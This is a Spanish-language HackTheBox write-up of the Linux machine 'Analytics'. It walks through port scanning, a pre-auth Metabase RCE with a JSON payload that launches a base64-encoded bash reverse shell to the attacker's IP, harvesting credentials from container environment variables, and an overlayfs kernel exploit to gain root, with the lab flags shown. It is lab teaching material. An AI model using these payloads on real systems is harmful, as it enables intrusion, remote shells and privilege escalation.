Analytics es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Analytics 10.129.135.152 a /etc/hosts como analytics.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.129.135.152 Nmap scan report for 10.129.135.152 Host is up, received echo-reply ttl 63 (0.055s latency). Scanned at 2023-10-07 20:58:46 GMT for 12s Not shown: 65507 closed tcp ports (reset), 26 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Sat Oct 7 20:58:58 2023 -- 1 IP address (1 host up) scanned in 12.42 seconds |
Descubiertos los puertos abiertos lanzamos un segundo escaneo más detallado
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ nmap -sCV -p 22,80 -oA enumeration/nmap2 -Pn 10.129.135.152 Nmap scan report for 10.129.135.152 Host is up (0.036s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA) |_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://analytical.htb/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Oct 7 20:59:56 2023 -- 1 IP address (1 host up) scanned in 16.68 seconds |
Enumeración
Viendo la detección de nmap añadimos el dominio analytical.htb a nuestro fichero hosts y accedemos al portal web

Vamos al enlace de login y nos redirecciona al subdominio data.analytical.htb así que lo añadimos al fichero hosts y accedemos viendo el siguiente formulario de login

Se trata del software de metabase, como no conocemos demasiado al respecto, buscamos en google y encontramos el endpoint donde poder detectar la versión
|
1 |
http://data.analytical.htb/api/session/properties |
Y vemos que se trata de la versión 0.46.6

Con la versión en mano vamos a buscar en google y encontramos un post donde explica como explotar una vulnerabilidad de pre-auth RCE
Para poder llevar a cabo la explotación necesitamos obtener el token que podemos obtener desde el mismo endpoint que la versión
|
1 |
setup-token "249fa03d-fd94-4d5b-b94f-b4ebf3df681f" |
Generamos una revshell codificada en b64
|
1 2 |
$ echo "bash -i >&/dev/tcp/10.10.14.117/4444 0>&1" | base64 YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjExNy80NDQ0IDA+JjEK |
Con todos los datos generamos un fichero json que quedaría como se ve a continuación
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
{ "token": "249fa03d-fd94-4d5b-b94f-b4ebf3df681f", "details": { "is_on_demand": false, "is_full_sync": false, "is_sample": false, "cache_ttl": null, "refingerprint": false, "auto_run_queries": true, "schedules": {}, "details": { "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjExNy80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}')\n$$--=x", "advanced-options": false, "ssl": true }, "name": "an-sec-research-team", "engine": "h2" } } |
Con todos los datos enviamos la petición POST con curl
|
1 2 |
$ curl -X POST -H "Content-Type: application/json" -d @request.json "http://data.analytical.htb/api/setup/validate" {"message":"Error creating or initializing trigger \"PWNSHELL\" object, class \"..source..\", cause: \"org.h2.message.DbException: Syntax error in SQL statement \"\"//javascript\\\\000ajava.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjExNy80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}')\\\\000a\"\" [42000-212]\"; see root cause for details; SQL statement:\nSET TRACE_LEVEL_SYSTEM_OUT 1 [90043-212]"} |
Y obtendremos una shell dentro de un contenedor
|
1 2 3 4 5 6 7 8 9 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.117] from (UNKNOWN) [10.129.135.152] 49648 bash: cannot set terminal process group (1): Not a tty bash: no job control in this shell f9d567167e25:/$ whoami whoami metabase f9d567167e25:/$ |
Escapando del contenedor
Después de dar varias vueltas por el contenedor encontramos unas credenciales en las variables de entorno
|
1 2 3 4 |
f9d567167e25:/app$ env|grep META env|grep META META_USER=metalytics META_PASS=An4lytics_ds20223# |
Que utilizaremos para acceder por ssh a la máquina
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
$ ssh metalytics@10.129.135.152 The authenticity of host '10.129.135.152 (10.129.135.152)' can't be established. ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.129.135.152' (ED25519) to the list of known hosts. metalytics@10.129.135.152's password: Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 6.2.0-25-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Sat Oct 7 09:29:19 PM UTC 2023 System load: 0.08447265625 Usage of /: 99.6% of 7.78GB Memory usage: 29% Swap usage: 0% Processes: 154 Users logged in: 0 IPv4 address for docker0: 172.17.0.1 IPv4 address for eth0: 10.129.135.152 IPv6 address for eth0: dead:beef::250:56ff:fe96:f0a3 => / is using 99.6% of 7.78GB Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status Last login: Tue Oct 3 09:14:35 2023 from 10.10.14.41 metalytics@analytics:~$ id uid=1000(metalytics) gid=1000(metalytics) groups=1000(metalytics) |
Obteniendo la flag de user
Una vez dentro de la máquina cogemos la primera flag
|
1 2 3 4 5 6 |
metalytics@analytics:~$ ls -l total 4 -rw-r----- 1 root metalytics 33 Oct 6 13:19 user.txt metalytics@analytics:~$ cat user.txt 17e80e8fd9866d5392464471b7a0f00f metalytics@analytics:~$ |
Escalado de privilegios
Una vez dentro enumeramos y detectamos la versión del sistema operativo y del kernel
|
1 2 |
metalytics@analytics:~$ uname -a Linux analytics 6.2.0-25-generic #25~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 28 09:55:23 UTC 2 x86_64 x86_64 x86_64 GNU/Linux |
Y si buscamos en google encontramos una forma de escalar privilegios en un post de reddit.
Hacemos alguna prueba con el mismo
|
1 2 |
metalytics@analytics:~$ unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; u/python3 -c 'import os;os.setuid(0);os.system(\"whoami\")'" root |
Y observamos que en parte funciona ya que aparentemente se ejecuta como root pero no funciona como esperamos y no podemos hacer gran cosa, así que seguimos buscando vulnerabilidades relacionadas y encontramos un exploit de una vulnerabilidad previa detectada en 2021 pero relacionada también con overlayfs.
Así que descargamos el exploit y lo compilamos
|
1 |
$ gcc exploit.c -o exploit |
Lo subimos a la máquina y ejecutamos para escalar a root
|
1 2 3 |
metalytics@analytics:~$ ./exploit bash-5.1# id uid=0(root) gid=0(root) groups=0(root),1000(metalytics) |
Obteniendo la flag de root
Como último paso para completar la máquina, cogemos la flag
|
1 2 3 |
bash-5.1# cat /root/root.txt f66964ccb20d067806738e791d3808c1 bash-5.1# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










